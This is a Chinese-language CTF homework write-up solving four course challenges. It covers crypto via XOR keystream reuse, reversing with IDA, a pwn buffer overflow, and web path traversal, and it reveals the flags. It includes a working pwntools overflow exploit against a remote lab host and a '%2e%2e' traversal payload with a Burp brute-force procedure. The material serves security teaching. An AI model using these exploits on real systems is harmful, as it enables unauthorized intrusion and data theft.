owned this note
owned this note
Published
Linked with GitHub
---
tags: 資安實務 - write up
---
# Hw0 write up
url: <a href="https://edu-ctf.csie.org/">https://edu-ctf.csie.org/</a>
![](https://i.imgur.com/RkfkIGE.png)
# problem 1 (Crypto)
題目包含一支py檔、兩張png圖片
![](https://i.imgur.com/rz9Wyap.png)
flag_enc
![](https://i.imgur.com/tSMOWK6.png)
golem_emc
```python=
#!/usr/bin/env python3
import cv2 #https://pypi.org/project/opencv-python/
import random
import string
charset = string.ascii_letters + string.digits + '+='
fire, water, earth, air = [random.choice(charset) for _ in range(4)]
def combine(a, b):
return ''.join([a,b])
def encrypt(arr):
swamp = combine(water, earth)
energy = combine(fire, air)
lava = combine(fire, earth)
life = combine(swamp, energy)
stone = combine(lava, air)
sand = combine(stone, water)
seed = combine(sand, life)
random.seed(seed)
h, w = arr.shape
for i in range(h):
for j in range(w):
arr[i][j] ^= random.randint(0,255)
for i in ['flag', 'golem']:
msg = cv2.imread(i+'.png', cv2.IMREAD_GRAYSCALE)
encrypt(msg)
cv2.imwrite(i+'_enc.png', msg)
```
在28-31行中,程式對兩張圖片分別進行加密,用同樣的random seed對每個像素進行Xor加密,加密後的結果即是題目附上的兩張圖片。
## 實作
```python=
import cv2 #https://pypi.org/project/opencv-python/
msg1 = cv2.imread('flag_enc.png', cv2.IMREAD_GRAYSCALE)
msg2 = cv2.imread('golem_enc.png', cv2.IMREAD_GRAYSCALE)
msg3 = msg1
h, w = msg1.shape
for i in range(h):
for j in range(w):
msg3[i][j] = msg2[i][j] ^ msg1[i][j]
cv2.imwrite('flag.png', msg3)
```
將兩張圖片的每個像素進行Xor運算,即可回推原本的Flag
Note:因為Xor具有交換率,又a^a=0, a^0=a
所有原本的Flag與golem已經Xor過後,再分別對相同Random seed X做Xor
之後的結果互相做Xor,即可求出Flag,相當於:
(Flag ^ Golem) ^ X ^ (Golem ^ X) = Flag ^ Golem ^ X ^ Golem ^ X = Flag ^ 0 ^ 0 = Flag
![](https://i.imgur.com/2KIZuho.png)
# problem 2 (Rev)
題目為Rev類型,附上一支程式XAYB(<a href="https://drive.google.com/file/d/1YrHtICec2yHMamlTocxVERMuj4CXGQ5Q/view">下載</a>)。
在Linux環境中執行指令
>file XAYB
![](https://i.imgur.com/MsCrHmq.png)
發現該程式為Linux可執行檔ELF
執行該檔案後發現是一個猜數字遊戲。
![](https://i.imgur.com/5mBeBqj.png)
## 實作
利用IDA pro進行逆向
Note: F5可以生成虛擬碼
![](https://i.imgur.com/LXtneg2.png)
從main裡面發現game_logic
![](https://i.imgur.com/Fu1i73D.png)
在game_logic裡面找到猜數字的判斷,猜測應該是猜對就會吐出Flag,因此a1裝的就是Flag
![](https://i.imgur.com/zwpufhF.png)
而a1就是一開始在main裡面傳入的變數v4
IDA pro有時會翻譯錯誤,a1的長度應該是45
所以底下v5、v6加進來才滿足長度
Note:變數儲存是採取little所以v4[0]裡面的B4應該是開頭喔
把0xB4 ^ 0xF2 就能找到 F
剩下的以此類推就能找到答案
# problem 3 (Pwn)
題目:
>just check it
>nc up.zoolab.org 30001
附上一支程式:arch_check(<a href="https://drive.google.com/file/d/14iBdxUQ4zwwqWHfmhdLwP7F4NtaRHgJX/view">下載</a>)
在linux中透過題目附上的指令,可以連到一個入口
![](https://i.imgur.com/OFN2xMA.png)
題目會跟我們打招呼,並詢問我們一個問題
回答完後就發現連線自動中斷了
因為是Pwn的題目,所以我們就先對附上的程式做逆向。
![](https://i.imgur.com/HJ9BOju.png)
在main()裡面發現程式有執行函式呼叫
此時有可能可以利用函式呼叫的漏洞改寫程式邏輯
Note:<a href="https://sites.google.com/view/28-assembly-language/x86-assembly-%E7%9A%84-stack-frame-%E5%92%8C%E5%87%BD%E6%95%B8%E7%9A%84%E5%91%BC%E5%8F%AB%E6%85%A3%E4%BE%8B">x86 Assembly 的 Stack Frame 和函數的呼叫慣例</a>
![](https://i.imgur.com/4Paf7Wg.png)
透過輸入超過字串接收的範圍,將我們想要執行的記憶體位址塞入return address,這樣Scanf結束後,就會跳到我們想要的指令區間。
又v4的儲存結構為
![](https://i.imgur.com/1VGZlIr.png)
所以r暫存器就是這個函數的return address,因此只要我們將var_20跟s暫存器塞滿,就能造訪到return address,進而改寫程式流程。
在觀察這隻程式的其他部分,可以發現有個含式Debug中有shell入口。
![](https://i.imgur.com/JzmI1Ss.png)
比對它的機械碼,找到執行的記憶體位置
![](https://i.imgur.com/FPxiQ7f.png)
![](https://i.imgur.com/gUcKvAj.png)
>0x00000000004011E9
只要把程式導到這個區間,就可以拿到shell。
## 實作
利用python套件pwn,對伺服器發出request,並塞入特定大小的字串,再後面接上我們想跳躍的記憶體位置,取得shell
```python=
from pwn import *
r = remote('up.zoolab.org', 30001)
payload = 'a'*0x20+'a'*0x8+'\xE9\x11\x40\x00\x00\x00\x00\x00'
r.sendlineafter("?", payload)
r.interactive()
```
![](https://i.imgur.com/yV5IOJU.png)
拿到shell權限後,就能在伺服器上找到shell了
> 位置:/home/arch_check/flag
![](https://i.imgur.com/vPXXzAE.png)
> FLAG{d1d_y0u_ju5t_s4y_w1nd0w5?}
# problem 4 (Web)
題目是一個web
url: http://splitline.tw:5000/
![](https://i.imgur.com/uIvlKKX.png)
```htmlembedded=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>text2emoji</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<link href="https://unpkg.com/nes.css/css/nes.css" rel="stylesheet" />
<style>
.nes-container {
max-width: 70vw;
margin: 0 auto;
margin-top: 10em;
}
</style>
</head>
<body>
<div class="nes-container with-title is-centered">
<p class="title">text2emoji</p>
<div class="nes-field is-inline">
<label>Text</label>
<input type="text" class="nes-input" id="input" placeholder="cat">
</div>
<br>
<div class="nes-field is-inline">
<label>Result</label>
<input type="text" class="nes-input" id="output" placeholder="🐱" readonly>
</div>
<br>
<button type="button" class="nes-btn is-primary" id="convert">Convert</button>
<button type="button" class="nes-btn is-success" onclick="location='/source'"></> Source</button>
</div>
<script>
const convert = document.getElementById('convert');
convert.addEventListener('click', function () {
fetch('/public_api', {
method: 'POST',
body: JSON.stringify({ text: document.getElementById('input').value }),
headers: { 'Content-type': 'application/json' }
})
.then(r => r.json())
.then(json => {
if (json.error)
alert(json.error);
else
document.getElementById('output').value = json.result;
});
});
</script>
</body>
</html>
```
</>source 裡的內容
url: http://splitline.tw:5000/source
```javascript=
const express = require('express');
const emojiMap = require('emojilib/simplemap.json')
const http = require("http");
const assert = require('assert');
const { FLAG } = require('./secret.js');
const app = express();
app.use(express.json());
app.get('/', (_, response) => {
response.sendFile(__dirname + "/index.html");
});
app.get("/source", (_, response) => {
response.sendFile(__filename);
});
app.post("/public_api", (request, response) => {
const text = request.body.text.toString();
if (!text.match(/^\S+$/) || text.includes(".")) {
response.send({ error: "Bad parameter" });
return;
}
const url = `http://127.0.0.1:7414/api/v1/emoji/${text}`;
http.get(url, result => {
result.setEncoding("utf-8");
if (result.statusCode === 200)
result.on('data', data => response.send(JSON.parse(data)));
else
response.send({ error: result.statusCode });
});
});
// public server
app.listen(80, "0.0.0.0");
const apiServer = express();
const apiRouter = express.Router();
apiRouter.use('/emoji/:text', (req, res, next) => {
const text = req.params.text;
if (text in emojiMap) res.send({ result: emojiMap[text] });
else res.send({ error: 'No such emoji.' });
});
apiRouter.use('/looksLikeFlag', (req, res, next) => {
assert(FLAG.match(/^FLAG{[a-z0-9_]+}$/));
res.send({ looksLikeFlag: FLAG.includes(req.query.flag) });
});
apiServer.use('/api/v1', apiRouter);
// local server
apiServer.listen(7414, "127.0.0.1");
```
由第一行可以看出這是一份基於Node.js的Express框架建立的服務
![](https://i.imgur.com/ZkpKMBV.png)
![](https://i.imgur.com/aoVNEsH.png)
更多關於Express框架:https://www.runoob.com/nodejs/nodejs-express-framework.html
在index.html第40-53行可以發現,Convert按鈕的功能,是對/public_api傳送post封包,並將input的內容轉成json格式寫在封包的body裡。
在19-35行(/public_api路由),會將封包的body轉成text
```javascript=
if (!text.match(/^\S+$/) || text.includes(".")) {
response.send({ error: "Bad parameter" });
return;
}
```
對這串text進行字串過濾,不允許裡面有"."或全部字串為空白
> const url = `http://127.0.0.1:7414/api/v1/emoji/${text}`;
並將text接在一串url後面,再對此地址用get function請求
在49行-53行可以發現有目標function可以使用,但它屬於的聆聽器只監聽port 7474(ip:127.0.0.1)跟port 80(ip:0.0.0.0)
```javascript=
apiRouter.use('/looksLikeFlag', (req, res, next) => {
assert(FLAG.match(/^FLAG{[a-z0-9_]+}$/));
res.send({ looksLikeFlag: FLAG.includes(req.query.flag) });
});
```
這個路由底下的function可以將get封包body中的參數flag與藏有Flag的檔案進行比對,如果參數flag包含在Flag則回傳true
Note:
127.0.0.1是host,而0.0.0.0是無效ip,它通常代表機器上所有ip,但port號1024以下的都需要管理者權限才能訪問,因此我們沒辦法直接造訪/looksLikeFlag路由
為了造訪目標路由(http://127.0.0.1:7414/api/v1/looksLikeFlag/),必須透過public_api達成,並在封包的body中插入特定字串"../looksLikeFlag",這樣就可以從路徑XXX/emoji/退回上一層資料夾,再進去/looksLikeFlag
為了繞過public_api中的字串檢測,將字串中的".."轉成url endcode"%2e%2e"
P.S. Google插鍵 HackBar 可以幫我們做endcode,但它的url endcode功能不會轉換".",可以轉 unicode 看看編碼,再自行做轉換(unicode與url endcode編碼大致相同,差別在於開頭,unicode開頭 \u00 ,url encdoe開頭 % )
## 實作
運用Proxy代理伺服器、Burp工具攔截封包,再修改封包內容,最後進行暴力破解。
1. 透過開發者人員工具,觀察Convert送出的封包內容
![](https://i.imgur.com/zMm8auo.png)
![](https://i.imgur.com/i1RtiSr.png)
2. 透過HackBar,仿造封包內容對public_api傳送封包
![](https://i.imgur.com/qWAsgCc.png)
3. open Proxy,用Burp攔截封包並修改封包的內容
![](https://i.imgur.com/uENCQrt.png)
![](https://i.imgur.com/ik3YN0f.png)
將封包的內容sent to Repeater
![](https://i.imgur.com/sEk9zVN.png)
![](https://i.imgur.com/DFjF3Be.png)
將flag參數藉由body中的text帶入
> "text":"%2e%2e/looksLikeFlag?flag=F",
sent後的結果:
![](https://i.imgur.com/iVl5q3I.png)
結果為true 表示flag包含字串"F"
4. 透過Burp,進行暴力破解
先Clear $,再透過Add $,指令要攻擊的地方
![](https://i.imgur.com/BsQKOpt.png)
再設定payload,加入英文字母大小寫、數字、" { } _ "
![](https://i.imgur.com/zTF2NPn.png)
Start attack後,搜尋含有"true"的結果
![](https://i.imgur.com/LzHUPEP.png)
![](https://i.imgur.com/pW26Cxp.png)
由此類推 最終即可暴力破解出Flag:
> FLAG{3asy_p4th_tr4vers4l}